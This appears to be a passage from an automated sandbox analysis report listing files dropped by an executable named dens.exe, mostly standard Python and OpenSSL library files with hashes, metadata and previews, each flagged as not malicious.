SHA-512:	B1A6DC5A34968FBDC8147D8403ADF8B800A06771CC9F15613F5CE874C29259A156BAB875AAE4CAAEC2117817CE79682A268AA6E037546AECA664CD4EEA60ADBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...G............" .........0...............................................@.......&....`A.........................................................0...............0..h&..............p............................................................................rdata..=...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.810971823417463
Encrypted:	false
SSDEEP:	192:p/fHQduDWqhWJWJWadJCsVWQ4mWxrnyttuX01k9z3A2Yv6WT:p/ftWqhWoCsmySR9zfYvvT
MD5:	A0776B3A28F7246B4A24FF1B2867BDBF
SHA1:	383C9A6AFDA7C1E855E25055AAD00E92F9D6AAFF
SHA-256:	2E554D9BF872A64D2CD0F0EB9D5A06DEA78548BC0C7A6F76E0A0C8C069F3C0A9
SHA-512:	7C9F0F8E53B363EF5B2E56EEC95E7B78EC50E9308F34974A287784A1C69C9106F49EA2D9CA037F0A7B3C57620FCBB1C7C372F207C68167DF85797AFFC3D7F3BA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...2............." .........0...............................................@......^.....`A............................................^............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text, with very long lines (411)
Category:	dropped
Size (bytes):	11524
Entropy (8bit):	5.211520136058075
Encrypted:	false
SSDEEP:	192:ERsUfi6bkQk+k/kKkegToJWicnJsPVA1oz2dv7COmoKTACoEJdQ/0G6lWg+JdQV5:ERsXpLs3VoJWRnJsPvz2dDCHoKsLgA6z
MD5:	49CABCB5F8DA14C72C8C3D00ADB3C115
SHA1:	F575BECF993ECDF9C6E43190C1CB74D3556CF912
SHA-256:	DC9824E25AFD635480A8073038B3CDFE6A56D3073A54E1A6FB21EDD4BB0F207C
SHA-512:	923DAEEE0861611D230DF263577B3C382AE26400CA5F1830EE309BD6737EED2AD934010D61CDD4796618BEDB3436CD772D9429A5BED0A106EF7DE60E114E505C
Malicious:	false
Preview:	Metadata-Version: 2.3.Name: attrs.Version: 24.2.0.Summary: Classes Without Boilerplate.Project-URL: Documentation, https://www.attrs.org/.Project-URL: Changelog, https://www.attrs.org/en/stable/changelog.html.Project-URL: GitHub, https://github.com/python-attrs/attrs.Project-URL: Funding, https://github.com/sponsors/hynek.Project-URL: Tidelift, https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi.Author-email: Hynek Schlawack <hs@ox.cx>.License-Expression: MIT.License-File: LICENSE.Keywords: attribute,boilerplate,class.Classifier: Development Status :: 5 - Production/Stable.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classifier: Programming Languag

C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	3556
Entropy (8bit):	5.809424313364516
Encrypted:	false
SSDEEP:	96:Q9ewBtnJT/oPynEddwBbCobXm9qGmR5VXzskcGD+qLtxO:2ewnXJCKXGeR/XzKiO
MD5:	4B6973D2285295CF5E3A45E64EB7A455
SHA1:	1089F2F3C35303D6D5DD19F0C0F707B9609EE3F2
SHA-256:	2B368DFC37283970C33CC8D4EEC129F668EB99EBF9D3AA27F49A1B149658F2B0
SHA-512:	A5150ECB625A3CFDC3F22C60EB7B16FDBED01CD47505BD520491B477AE24E8C59FFAE2334948122E656F6F0A5F2AF0635B6D976241745583A3D7AF9E3781718D
Malicious:	false
Preview:	attr/__init__.py,sha256=l8Ewh5KZE7CCY0i1iDfSCnFiUTIkBVoqsXjX9EZnIVA,2087..attr/__init__.pyi,sha256=aTVHBPX6krCGvbQvOl_UKqEzmi2HFsaIVm2WKmAiqVs,11434..attr/__pycache__/__init__.cpython-312.pyc,,..attr/__pycache__/_cmp.cpython-312.pyc,,..attr/__pycache__/_compat.cpython-312.pyc,,..attr/__pycache__/_config.cpython-312.pyc,,..attr/__pycache__/_funcs.cpython-312.pyc,,..attr/__pycache__/_make.cpython-312.pyc,,..attr/__pycache__/_next_gen.cpython-312.pyc,,..attr/__pycache__/_version_info.cpython-312.pyc,,..attr/__pycache__/converters.cpython-312.pyc,,..attr/__pycache__/exceptions.cpython-312.pyc,,..attr/__pycache__/filters.cpython-312.pyc,,..attr/__pycache__/setters.cpython-312.pyc,,..attr/__pycache__/validators.cpython-312.pyc,,..attr/_cmp.py,sha256=3umHiBtgsEYtvNP_8XrQwTCdFoZIX4DEur76N-2a3X8,4123..attr/_cmp.pyi,sha256=U-_RU_UZOyPUEQzXE6RMYQQcjkZRY25wTH99sN0s7MM,368..attr/_compat.py,sha256=n2Uk3c-ywv0PkFfGlvqR7SzDXp4NOhWmNV_ZK6YfWoM,2958..attr/_config.py,sha256=z81Vt-GeT_2taxs1XZfmHx9TWlSxjP

C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.730668933656452
Encrypted:	false
SSDEEP:	3:RtEeXAaCTQnP+tPCCfA5I:Rt2PcnWBB3
MD5:	52ADFA0C417902EE8F0C3D1CA2372AC3
SHA1:	B67635615EEF7E869D74F4813B5DC576104825DD
SHA-256:	D7215D7625CC9AF60AED0613AAD44DB57EBA589D0CCFC3D8122114A0E514C516
SHA-512:	BFA87E7B0E76E544C2108EF40B9FAC8C5FF4327AB8EDE9FEB2891BD5D38FEA117BD9EEBAF62F6C357B4DEADDAD5A5220E0B4A54078C8C2DE34CB1DD5E00F2D62
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: hatchling 1.25.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info\licenses\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.104415762129373
Encrypted:	false
SSDEEP:	24:bGf8rUrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bW8rUaJHlxE3dQHOs5exm3ogFh
MD5:	5E55731824CF9205CFABEAB9A0600887
SHA1:	243E9DD038D3D68C67D42C0C4BA80622C2A56246
SHA-256:	882115C95DFC2AF1EEB6714F8EC6D5CBCABF667CAFF8729F42420DA63F714E9F
SHA-512:	21B242BF6DCBAFA16336D77A40E69685D7E64A43CC30E13E484C72A93CD4496A7276E18137DC601B6A8C3C193CB775DB89853ECC6D6EB2956DEEE36826D5EBFE
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2015 Hynek Schlawack and the attrs contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1332808
Entropy (8bit):	5.5869946203131615
Encrypted:	false
SSDEEP:	12288:rclJGUq/0LGn9vc+fYNXPh26UZWAzbX7jF/yquSxGh5dmlPHH8VdAt/RO2/HK2:rclJGUh69zb/FX7O5dmlPn2Ag2/HK2
MD5:	00CB04E37BCF1B05ED9D8FD286F395AC
SHA1:	B4A112962EDA09B9F975AC47F123184B745C29A3
SHA-256:	632FE06274F3C7AEEAC7F8C451A4D2C9751BE5F641019522BA09C6F311075EC8
SHA-512:	E365D66808604BA740467E46AF4BB2FDE15D24094ABD4B0C939DF185D500D148CC6E77E703FC5BB85B7574155341AAA02914963FDDE9D1001C4218575E9D1994
Malicious:	false
Preview:	PK..........!.LX. S...S......._collections_abc.pyc......................................Z.....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.............Z...e.d.........Z.d...Z...e.e.........Z.[.g.d...Z.d.Z...e...e.d.................Z...e...e...e.........................Z...e...e.i.j%..........................................Z...e...e.i.j)..........................................Z...e...e.i.j-..........................................Z...e...e.g.................Z...e...e...e.g.........................Z...e...e...e.d.........................Z...e...e...e.d.d.z...........................Z...e...e...e.........................Z...e...e.d.................Z ..e...e.d.................Z!..e...e...e"........................Z#..e.i.j%..................................Z$..e.i.j)..................................Z%..e.i.j-..................................Z&..e.e.jN..........................Z(..e...d...................Z)d...Z..e........Z..e.e........Z+ejY............................[d...Z-..e-........

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5440
Entropy (8bit):	5.074342830021076
Encrypted:	false
SSDEEP:	96:DlaQIUQIhQIKQILbQIRIaMPktjaVxsxA2TtLDmplH7dwnqTIvrUmA0JQTQCQx5KN:LcPuP1srTtLDmplH7JTIvYX0JQTQ9x54
MD5:	554DC6138FDBF98B7F1EDFE207AF3D67
SHA1:	B6C806E2AFF9A0F560916A90F793348DBF0514BA
SHA-256:	0064A9B5FD2AC18605E512EF7127318AD9CF259E9445488C169F237A590602E1
SHA-512:	3A71B533874F4D0F94F15192791D2FA4DF9E8EBF184C711F1D4FA97230C04764C1C9A93258355B08107E5B72053C6901E883E3DB577E8A204D5B9EB3F8BC7BFC
Malicious:	false
Preview:	Metadata-Version: 2.3.Name: cryptography.Version: 43.0.1.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: License :: OSI Approved :: BSD License.Classifier: Natural Language :: English.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: POSIX.Classifier: Operating System :: POSIX :: BSD.Classifier: Operating System :: POSIX :: Linux.Classifier: Operating System :: Microsoft :: Windows.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classif

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	15579
Entropy (8bit):	5.567434003079107
Encrypted:	false
SSDEEP:	192:bX1ToLbz5jF4E9VqhXJZ4WPB6s7B0Ppz+NX6in5Lqw/I+B:bXeLbhCEsJrPB6s7B0Ppz+96innVB
MD5:	E8478B758300439BF58613F2A3A2676C
SHA1:	39ED064E67212A54E4B8D1C909E6AD2ACF48025D
SHA-256:	5ADEAA62D3045659DDF79324823AA3BCB1CA78F264442D6F6F6B9C8A8470A634
SHA-512:	D7029823DC5585FBE885DDB52EED2D02D1584EB945EF23916391201FCBD17DF0B14F338BDFC6E81318297F831CA99796423206F781373857317E068F0C0B321C
Malicious:	false
Preview:	cryptography-43.0.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-43.0.1.dist-info/METADATA,sha256=AGSptf0qwYYF5RLvcScxitnPJZ6URUiMFp8jelkGAuE,5440..cryptography-43.0.1.dist-info/RECORD,,..cryptography-43.0.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..cryptography-43.0.1.dist-info/WHEEL,sha256=8_4EnrLvbhzH224YH8WypoB7HFn-vpbwr_zHlr3XUBI,94..cryptography-43.0.1.dist-info/license_files/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-43.0.1.dist-info/license_files/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-43.0.1.dist-info/license_files/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography/__about__.py,sha256=pY_pmYXjJTK-LjfCu7ot0NMj0QC2dkD1dCPyV8QjISM,445..cryptography/__init__.py,sha256=mthuUrTd4FROCpUYrTIqhjz6s6T9djAZrV7nZ1oMm2o,364..cryptography/__pycache__/__about__.cpython-312.pyc,,..cryptography/__pycache__/__ini

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	5.016084900984752
Encrypted:	false
SSDEEP:	3:RtEeX5pGogP+tkKciH/KQb:RtvoTWKTQb
MD5:	C869D30012A100ADEB75860F3810C8C9
SHA1:	42FD5CFA75566E8A9525E087A2018E8666ED22CB
SHA-256:	F3FE049EB2EF6E1CC7DB6E181FC5B2A6807B1C59FEBE96F0AFFCC796BDD75012
SHA-512:	B29FEAF6587601BBE0EDAD3DF9A87BFC82BB2C13E91103699BABD7E039F05558C0AC1EF7D904BCFAF85D791B96BC26FA9E39988DD83A1CE8ECCA85029C5109F0
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: maturin (1.7.0).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64.

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\license_files\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.61968998873571
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
MD5:	8C3617DB4FB6FAE01F1D253AB91511E4
SHA1:	E442040C26CD76D1B946822CAF29011A51F75D6D
SHA-256:	3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
SHA-512:	77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\license_files\LICENSE.APACHE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\license_files\LICENSE.BSD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
SSDEEP:	49152:Hvisa2OcIo0UYN1YA2sBCT7I0XIU6iOGtlqNVwASO0AIjoI+b0vjemXSKSDhxlT3:Pi/2PTYDBCT7NY+gTNxY7GbdJ295x
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\frozenlist\_frozenlist.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	5.958571842352702
Encrypted:	false
SSDEEP:	1536:OwsZ607E6QFvkncm4nraT1G5YDHykXxA:o80w6QFsMWpG5YDHdXx
MD5:	D7193BEA71087B94502C6B3A40120B04
SHA1:	51AA3825A885A528356BA339F599C557E9973EC3
SHA-256:	886375BC6F0FF2BBD1E8280F8F1CB29C93F94B8E25B5076043CD796654C3A193
SHA-512:	C65CEF39362A75814D40132F4F54F25F258C484DD011B12AE7051FA52865F025C960E4A3130C699B7EB1BE375A3D2C3C3B733D6543338D7E40AAD0488D305056
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1\5.P2f.P2f.P2f.(.f.P2f./3g.P2f.(3g.P2f./7g.P2f./6g.P2f./1g.P2fK-3g.P2f.P3f/P2f..:g.P2f..2g.P2f...f.P2f..0g.P2fRich.P2f........PE..d...>.{e.........." ...%.....t............................................................`.........................................06..h....6..x............p......................@&...............................%..@...............@............................text...X........................... ..`.rdata...I.......J..................@..@.data........P.......2..............@....pdata.......p.......@..............@..@.rsrc................L..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\multidict\_multidict.cp312-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.417086235508803
Encrypted:	false
SSDEEP:	768:67CE1/NMVzMoCQVbrw0k6To3OOG/B+jPSrSRNj4bSM2V:QruzMoNrNTo3OOG/eRF4be
MD5:	4EED96BBB1C4B6D63F50C433E9C0A16A
SHA1:	CDE34E8F1DAC7F4E98D2B0AAF1186C6938DE06C3
SHA-256:	B521B7E3B6BED424A0719C36735BC4BF2BB8B0926370B31C221C604E81F8D78B
SHA-512:	1CACB250D867FCBBC5224C3F66CB23A93F818BC1D0524CAD6D1C52295D243AF10F454FDE13FA58671D3EE62281A2A3F71A69F28B08FD942FCEDBA3C9B09A774A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
